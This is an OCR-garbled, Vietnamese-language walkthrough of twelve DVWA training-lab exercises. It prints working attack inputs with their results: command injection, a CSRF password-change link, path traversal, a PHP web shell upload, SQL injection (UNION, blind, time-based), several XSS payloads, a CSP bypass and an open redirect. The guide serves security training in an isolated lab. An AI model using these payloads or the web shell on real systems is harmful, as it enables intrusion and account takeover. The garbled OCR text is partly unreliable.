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Lab tong hop trén DVWA.
Muc tiéu
e Thyc hanh tan cong 12 15 hong.

Canh b4o: Tét ca cac bai lab tan cong chi dugc thyuc hién trong méi truong Ao, cach ly
va hop phap. Tuyét d6i khong ap dung trén hé thong thit hoic mang khong dwoc
phép, moi vi pham s& bi xtr Iy theo quy dinh va phéap luét hién hanh.

Huéng dén trién khai

Khoi dong apache trén may 192.168.30.10:
sudo systemctl start apache2
sudo systemctl status apache2

Sau do6 truy cép lab qua trinh duyét

E!Weicome = Damn Vulner: X B v _ @
« C O O 127.0.0.1/DVWA/

. Welcome to Damn Vulnerable Web Application!

Instructions | Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web
Setup | Reset DB | developers better understand the processes of securing web applications and to aid both students & teachers to

learn about web application security in a controlled class room environment.
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Cac bai tap thuc hanh

1. Brute Force

Vulnerability: Brute Force

Home |

Instructions I Login
Selip | Resetpe Username:

ribiil it s | |Passv\rord: |
Command Injection | i |
CSRF | [ Login |

File Inclusion |

Trén déy 14 giao dién bai thyc hanh dau tién,

Nhi¢m vu cua chling ta trong bai thuc hanh nay 1a doan mat khau thu cong hodc ty dong
tai khoan admin.

Vulnerability: Brute Force

k Login

Username:
|adm]n |

[ Lugin_'i

Welcome to the password protected area admin

0

Dép an 1a: admin - password.

Sau khi brute force thanh cong ban s€ nhan dugc két qua nhu anh trén.
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2. Command Injection

k
— | Vulnerability: Command Injection
BTN | Ping a device
Setup / Reset DB | _
Enter an IP address: | |[ submit |

Brute Force |

Pay 1a 1a giao dién cta 15 hong tiép theo. Ching ta thay chic ning cua 6 input 13 nhap
mot dia chi dé kiém tra ping.

J More Information

Chung ta thir nhép 192.168.30.10 s& nhéan dugc két qua sau.

Ping a device

Enter an IP address: [192.168.30.10) || submit |

PING 192.168.30.10 (192.168.30.18) 56(84) bytes of data.

64 bytes from 192.168.30.18: icmp seg=1 ttl=64 time=0.219 ms
64 bytes from 192.168.30.10: icmp seg=2 ttl=64 time=0.115 ms
64 bytes from 192.168.30.10: icmp seq=3 ttl=64 time=0.054 ms
64 bytes from 192.168.30.18: icmp_seqg=4 ttl=64 time=0.855 ms

--- 192.168.38.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3688ms
rtt min/avg/max/mdev = 0.054/0.110/6.219/0.067 ms

Pay 1a mot két qua hop 16

Chung ta s& két thuc ciu tric 1énh bang mot diu chidm phay va tiép tuc chén thém lénh
khac.

Vidu: 192.168.30.10; whoami

Ping a device

Enter an IP address: | 102.168.30.10; whoami || Submit |

PING 192.168.36.10 (192.168.30.18) 56(84) bytes of data.

64 bytes from 192.168.30.18: icmp seq=1 ttl=64 time=0.193 ms
64 bytes from 192.168.30.10: icmp seq=2 ttl=64 time=0.278 ms
64 bytes from 192.168.30.10: icmp_seq=3 ttl=64 time=0.053 ms
64 bytes from 192.168.30.108: icmp_seq=4 ttl=64 time=0.056 ms

--- 192.168.30.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3861ms
rtt min/avg/max/mdev = 0.853/0.145/0.278/0.095 ms

-data

.

Két qua: chung ta théy cau lénh whoami duoc thyuc thi va tra vé www-data.
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3. CSRF

O phan tan cong nay chiing ta s€ tan cong vao nguoi dung, dan ho dén url doi pass cia
chung ta.

s Vulnerability: Cross Site Request Forgery (CSRF)
Instructions
Setup | Reset DB

| Test credentials
EEEE I
Command Injection
New password:
File Inclusion Confirm new password
FileUpload | S
Insecure CAPTCHA | (Chango

SQL Injection | 13

Change your admin password:

Hay nhap mat khdu méi vi du 123, nhan Enter. Sau d6 hdy kiém tra trén URL chiing ta
thay nhiing thr chiing ta vira nhap hién trén nay, tinh huéng gia dinh ban s€ gui duong
dan nay cho mot nguoi ban cuia ban.

O o R e e R e s Change=Change# B ¥

Ta c6 duong dan:
http://10.215.27.166/DVW A/vulnerabilities/csrf/?password new=123&password conf=1
23&Change=Change#

Hay dé ¥ 2 noi dugc t6 do, copy noé doi lai pass theo ¥ minh mudn.
Vi du:

http://10.215.27.166/DVW A/vulnerabilities/csrf/?password new=456&password_conf=4
56&Change=Change#

Sau d6 giri n6 cho ngudi dung admin (Tinh hudng gia du).

ulnerabilty: Cross Site Reque: X & NewTab x o+

C  © hitp//10215.27.166/D) X {_conf=4568Change=Change#

©  http://10215.27. iti ¥ ¥ hange=Change#

Q  http://10215.27.166/D) X |_conf=456&Change=Change# - Google Search

Google

Q  search Google or type a URL

Néu ngudi ding admin truy cap theo ding link trén thi anh iy s& bi doi pass, chung ta s&
dé dang chiém dc tk admin
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Tiép theo hdy nhin Test Credentials.
vuinerapllty: Cross >ite kequest Forgery (UOKF)

Home |
InShgstor | Change your admin password:
Setup | Reset DB |

Test Credentials @
Brute Force

Command Injection

Mew password:

Confirm new password:

File Inclusion

|
|
|
|
File Upload |
|
|
|

Insecure CAPTCHA | Change
SQL Injection Password Changed.
SQL Injection (Blind)

Khi t6i nhap admin - 456 thi két qua thanh cong

Valid password for "admin’

Username

Password

| Login |

4. File Inclusion

Vulnerability: File Inclusion

Home ‘

Instructions ‘

‘['.']-[--..]-[--.] ‘

Setup / Reset DB |

More Information
Brute Force

Command Injection
CSRF

|
|
|
|
|

File Upload

Incarn ra CADTCHA

Thir nhan vao mét file .php
Chung ta s& thay URL thay d6i nhu sau.
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10.215.27.166/DVWA /vulnerabilities/fi/? page=include.php

Home |

Instructions |
Setup / Reset DB |

10.215.27.166/DVWA/vulnerabilities/fi/ ?page=file1.php

Vulnerability: File Inclusion

Home |
Instructions | File 1
Setup / Reset DB |
Hello admin
Brute Force | Your IP address is: 192.168.3.53
Command Injection | [ ]
CSRF |

Tham s6 page= dang include file PHP noi bd. Néu ban sira gia tri nay, server s€ include
file d6 — day 1a diém ban khai thac.

Gio chung ta cho dudng dan nhay cam vao:
ol ete/hostname

Ta c6 URL sau:
http://10.215.27.166/DVW A /vulnerabilities/fi/?page=../../../../../..]../..//etc/hostname

Két qua:

&« (5 A\ Notsecure  10.215.27.166/DVWA/vulnerabilities/fi/?page=...../../ ./ ./ ./.[..//etc/hostname

vnpro

Home
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5. File Upload

Lab nay chung ta sé tao mot file c6 ma ddc va thuc thi trén server.

Gi0 hay tao mot file shell.php, v&i ndi dung sau:

<?php system($ GET['cmd']); 7>

Sau d6 1én giao dién lab File Upload.
- ]
[T Vulnerability: File Upload

M Choose an image to upload
Setup / Reset DB
| Choose File | No file chosen

BruteForce | (Upload |
Command Injection
CRE | More Information
File Inclusion

Insecure CAPTCHA

SQL Iniection \

Chon Choose File > tiép tuc chon file shell.php vira tao
Vulnerability: File Upload

Choose an image to upload:

| Choose File |shell.php

I
|
[
I | [opeat)
|
J More Information

Nhan Upload, néu thanh cong s& thong bao nhu dong bén dudi:

| Choose File | Mo file chosen
| Upload |

.o/ «./hackable/uploads/shell.php succesfully uploaded!

Hay copy dong nay /hackable/uploads/shell.php
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Tiép tuc truy cép vao URL:

http://10.215.27.166/DVW A/hackable/uploads/shell.php?cmd=whoami

Két qua tra vé cua cau 1énh whoami la www-data.

« & N Not secure  10.215.27.166/DVWA/hackable/uploads/shell.php?cmd=whoami
www-data
6. SQL Injection

O lab nay ching ta s& tiém cac cdu cau truy van vao muc input ID user

Vulnerability: SQL Injection

User ID:| || Submit |

Hay thir nhap mot ID bt ky

J User ID: |1 || Submit

IDb: 1
J First name: admin
J Surname: admin

|
Chung ta thdy 1 form giao dién don gian, chiing ta ¢ d& dang doan cau truy van la:
SELECT first name, last name FROM users WHERE user id ="1";
Gio ban hay thir khai thac 16 hong véi 2 1énh dudi:
I'OR'I'="1
-1' UNION SELECT null, version() --

User ID: [-1' UNION SELECT nul| Submit |

ID: -1' UNIOM SELECT null, wversion() --
First name:
Surname: 18.3.39-MariaDE-Bubuntud®.28.84.2
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7. SQL Injection (Blind)

Vulnerability: SQL Injection (Blind)

Home |

Instructions |
Setup / Reset DB | User ID: | || Submit |

Brute Foree |

Hay thir nhap 1 va bam submit:

User 1D: | || Submit

User ID exists in the database.

Thir nhap 999 va bam submit:

User |D: | || Submit

User ID is MISSING from the database.

Tiép tuc hay thir mot cau diéu kién ding 1' AND 1=1 -- két qua:

User ID:| || Submit |

User ID exists in the database.

Mot cau diéu kién sai 1' AND 1=2 -- két qua la:

User ID:| || Submit

User ID exists in the database.
Chung ta nhan thdy chung ta c6 thé dit cau hoi dung/sai bing cac ciu truy van.
Hay thtr héi n6 c6 phai tén dvwa hay khong:
1' AND database() = 'dvwa' --

User ID: [1' AND database() = 'd]| Submit |

User ID exists in the database.

Két qua ...exists... cau trd 101 1a ding.
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Ngoai cac cau hoi dung sai chung ta cho c6 thé cho n6 delay mot ty

1' AND IF(1=1, SLEEP(3), 0) --

Sau khi nhap ban sé& bi deley 3 gidy trudc khi dugc phan hdi MISSING.

8. DOM Based Cross Site Scripting (XSS)

Vulnerability: DOM Based Cross Site Scripting (XSS)

uctions |
p/Reset DB | Please choose a language:
[Select]

e Force |

Hay thir thay doi cac ngon ngit sau d6 nhan Select.

Khi d6 URL sé& c6 dang:

http://http://10.215.27.166/dvwa/vulnerabilities/xss_d/?default=English
Lab s& lay gia tri tir 2default= roi render truc tiép 1én trang bang JavaScript, vi dy:
var lang = document.URL.split('default=")[ 1];
document.getElementBylId("demo").innerHTML = lang;
Néu gia tri lang khong dugc sanitize, ban co thé dua vao d6 ma doc.
Hay thu thyc thi alert

<script>alert('XSS")</script>
http://10.215.27.166/dvwa/vulnerabilities/xss_d/?default=<script>alert("XSS")</script>

Vay chung ta da tan cong DOM XSS thanh cong:

e 10.215.27.166/DVWA/vulnerabilities/xss_d/?default=<script>alert(%27X55%27)</script>

10.215.27.166 says

XS5
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9. Reflected Cross Site Scripting (XSS)

Vulnerability: Reflected Cross Site Scripting (XSS)

]

What's your name‘?| || Submit |

Hay thur nhép tén cua ban:

Vulnerability: Reflected Cross Site Scripting

What's your name?| || Submit |

Hello Tudng

Va kiém tra trén URL chiing ta thay:
10.215.27 166/DVWAvulnerabilities/xss_r/?name=Tudng#

Payload ching ta nhap dugc phan chiéu lai trén trang, nhung khong duoc méa hoa an toan.
Day la noi ta s€ chén ma ddc.

Hay chen cau 1énh quen thudc nay vao:

<script>alert('XSS")</script>

http://10.215.27.166/DVW A/vulnerabilities/xss_r/?name=<script>alert('XSS")</script>
Két qua :
"WA/vulnerabilities/xss_r/?name=<script >alert(%627X55%27) < /script >

10.215.27.166 says

X55
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10. Stored Cross Site Scripting (XSS)

Vulnerability: Stored Cross Site Scripting (XSS)

MName * | |

Message *

| Sign Guestbook || Clear Guestbook |

Qua giao dién chung ta thdy c6 3 trudng va bén dudi 1a khu vuc hién thi cac message da
guri.

Hay nhap:
Name la Hacker
Message la <script>alert('Stored XSS')</script>

Sau khi nhan Sign Guestbook chung ta s& nhan dugc két qua:

10.215.27.166 says

Stored XS5

Thuc té khi XSS hacker s& truyén mot mi doc co thé danh cip cookie va dung nd dé
chiém quyén truy cép.
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11. Content Security Policy (CSP) Bypass

Bam vao view src ching ta thy trinh duyét chi cho phép load JavaScript tir
https://digi.ninja va vai trang web khac.

$headerC5P = "Content-Security-Policy: script-src "self’ https://pastebin.com hastebin.com www.toptal.com ex
analytics.com https://digi.ninja ;"; // allows js from self, pastebin.com, hastebin.com, jquery, digi.ninjz

Va digi ninja cling chi la mot trang web binh thuong.

NNNNLL0L e ammN N

Nhung néu trang web nay chira mgt doan script, kha nang cao 6 input sé€ 1a noi dua ma
ddc vao trang web.

Hay truy céap vao https://digi.ninja/dvwa/alert.js

g c 2% digi.ninja/dvwa/alert.js
alert("CSP Bypassed");

Chung ta thiy néu dua dudng link nay vao 6 input thi s& dua duoc doan script di xuyén
qua l&p phong thu CSP cua chung ta.

Vulnerability: Content Security Policy (CSP) Bypass

‘You can include scripts from external sources, examine the Content Security Policy and enter a URL to
include here:

|htlps:h’digi.ninja!deafa lert.js || Include |

Rat dé dang CSP di bi xuyén thung.

10.215.27.166 says

CSP Bypassed
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12. Open HTTP Redirect

Pay 1a mot trong nhitng dang tan cong ma ai trong ching ta ciing da gip qua mot 1an khi
truy cap vao cac web lau, web khong dang tin cay.

Ban c6 thé bi chuyén hudng sang cac trang gia mao gmail hoic facebook, ciing co thé
ban sé& bi chuyén hudng sang attacker site c6 JS keylogger.

O day DVWA dung ?url=... & quyét dinh noi redirect va néu khong co filter, ban co thé
chuyén hudng dén bat ky domain nao.

Hay tht thay doi duong dan ¢ Quote 1

/DVW A/vulnerabilities/open_redirect/source/low.php?redirect=https://digi.ninja

s imarker
<a href="/DVWA/vulnerabilities/fopen redirect/sourceflow.php?redirect=https://digi.ninja">Quote l</a>

Sau d6 nhap vao Quote 1 trén web.

ﬁm;\lmml_

urity
Hire Me Labs. Biog Projects Contact
=y | o LJL,'.‘ - T —
e R | 1

Chung ta da bi chuyén huéng dén digi ninja.
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